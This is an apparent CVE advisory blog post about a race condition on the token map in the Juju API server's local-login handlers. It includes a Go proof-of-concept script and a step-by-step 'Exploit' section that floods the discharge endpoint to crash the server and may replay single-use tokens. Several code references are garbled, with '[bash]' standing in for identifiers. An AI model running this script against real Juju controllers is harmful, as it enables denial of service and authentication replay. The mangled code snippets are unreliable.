Juju API Server, Race Condition, CVE-2026-5774 (Moderate)

Listen to this Post

The `localLoginHandlers` struct in the Juju API server maintains an in‑memory `map

string` named `userTokens` to store discharge tokens after successful local authentication. This map is accessed concurrently from multiple HTTP handler goroutines without any synchronization primitive such as a mutex. The form handler writes to the map (<code>h.userTokens[bash] = username</code>) when authentication succeeds, while the third‑party caveat checker reads from and deletes from the same map (<code>username, ok := h.userTokens[bash]</code> followed by <code>delete(h.userTokens, tokenString)</code>) when a discharge request arrives. Both code paths run in goroutines dispatched by the HTTP server, so concurrent requests access the map simultaneously. Go’s runtime detects concurrent map access and terminates the process with a fatal error when a write races with another write or read, making the API server susceptible to a denial‑of‑service attack from any authenticated user who can trigger simultaneous discharge requests. Moreover, the read‑then‑delete sequence in the caveat checker is not atomic: two goroutines processing the same token concurrently may both pass the existence check before either executes the deletion, allowing a single‑use discharge token to be accepted more than once and effectively replaying authentication. The unsafe field is defined in <code>type localLoginHandlers struct { authCtxt authContext; userTokens map[bash]string }</code>. An attacker who obtains a valid discharge token can send a burst of concurrent requests to the `/local-login/discharge` endpoint, triggering a Go runtime panic that terminates the Juju API server process and denies service to all clients and agents. Under favorable timing conditions the same token may be accepted multiple times, bypassing the single‑use enforcement and allowing repeated authentication with a token that should have been invalidated after first use.

<h2 style="color: blue;">dailycve form:</h2>

Platform: `Canonical Juju`
Version: `2.9.56, 3.6.20, 4.0.5`
Vulnerability: `Race condition`
Severity: `Moderate`
date: `2026-04-10`


<h2 style="color: blue;">Prediction: `Patch: 2026-04-10`</h2>

<h2 style="color: blue;">What Undercode Say: Analytics</h2>

[bash]
Check Juju version
juju version
Simulate concurrent discharge requests (PoC)
cat > poc.go <<EOF
package main
import ("net/http"; "sync")
func main() {
token := "acquired-discharge-token"
endpoint := "https://target-juju-api:17070/local-login/discharge"
var wg sync.WaitGroup
for i := 0; i < 20; i++ {
wg.Add(1)
go func() {
defer wg.Done()
req, _ := http.NewRequest("GET", endpoint+"?token="+token, nil)
http.DefaultClient.Do(req)
}()
}
wg.Wait()
}
EOF
go run poc.go
Monitor Juju API server logs for panic
journalctl -u juju -f | grep -i "fatal error: concurrent map"
Verify patched versions (2.9.57, 3.6.21, 4.0.6)
juju version | grep -E "2.9.57|3.6.21|4.0.6" && echo "Patched" || echo "Vulnerable"

Exploit:

1. Authenticate locally to obtain a valid discharge token.
2. Send a burst of concurrent GET requests to `/local-login/discharge?token=` using a script or tool like `curl` with a loop.
3. Observe the Juju API server process crash due to a Go runtime panic (concurrent map access).
4. Under optimal timing, the same token may be reused multiple times before the map entry is deleted, bypassing the single‑use restriction.

Protection from this CVE:

  • Upgrade to Juju versions 2.9.57, 3.6.21, 4.0.6 or later, where a mutex has been added to synchronize access to the `userTokens` map.
  • If an immediate upgrade is not possible, apply a workaround by wrapping all reads/writes/deletes to the map with a sync.RWMutex.
  • Monitor API server logs for “fatal error: concurrent map” and restart the service automatically as a temporary mitigation.
  • Restrict network access to the Juju API server (port 17070) to trusted hosts only, reducing the attack surface.

Impact:

  • Denial of Service: An authenticated attacker can crash the Juju API server by triggering a Go runtime panic, making the entire Juju controller unavailable.
  • Authentication Bypass: Under race conditions, a single‑use discharge token may be accepted multiple times, allowing an attacker to replay authentication and maintain unauthorized access.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top